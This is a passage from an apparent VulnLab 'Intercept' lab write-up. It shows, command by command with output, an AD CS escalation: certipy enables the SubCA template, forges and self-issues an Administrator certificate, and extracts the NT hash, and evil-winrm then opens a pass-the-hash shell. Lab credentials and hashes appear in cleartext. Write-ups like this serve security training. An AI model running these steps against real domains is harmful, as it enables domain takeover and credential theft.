┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ certipy-ad ca -ca 'intercept-DC01-CA' -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -enable-template SubCA Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'intercept-DC01-CA'
Now request a certificate with the userPrincipalName (uPN) of the Administrator
- This request will get automatically denied, however, since Simon is an officer we can manually issue a certificate
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ certipy-ad req -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -ca 'intercept-DC01-CA' -template SubCA -upn 'Administrator@intercept.vl' Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 6 [-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate. Would you like to save the private key? (y/N): y [*] Saving private key to '6.key' [*] Wrote private key to '6.key' [-] Failed to request certificate
Issue the request
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ certipy-ad ca -ca 'intercept-DC01-CA' -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -issue-request 6 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Successfully issued certificate request ID 6
Get the certificate
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ certipy-ad req -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -ca 'intercept-DC01-CA' -retrieve 6 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Retrieving certificate with ID 6 [*] Successfully retrieved certificate [*] Got certificate with UPN 'Administrator@intercept.vl' [*] Certificate has no object SID [*] Loaded private key from '6.key' [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx'
Authenticate with the PFX to the DC
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ certipy-ad auth -pfx administrator.pfx -domain intercept.vl -username administrator -dc-ip '10.10.134.213' Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'Administrator@intercept.vl' [*] Using principal: 'administrator@intercept.vl' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@intercept.vl': aad3b435b51404eeaad3b435b51404ee:ad95c338a6cc5729ae7390acbe0ca91f
check
.
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ evil-winrm -i dc01.intercept.vl -u Administrator -H 'ad95c338a6cc5729ae7390acbe0ca91f' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> hostname DC01
This was super fun.
Resources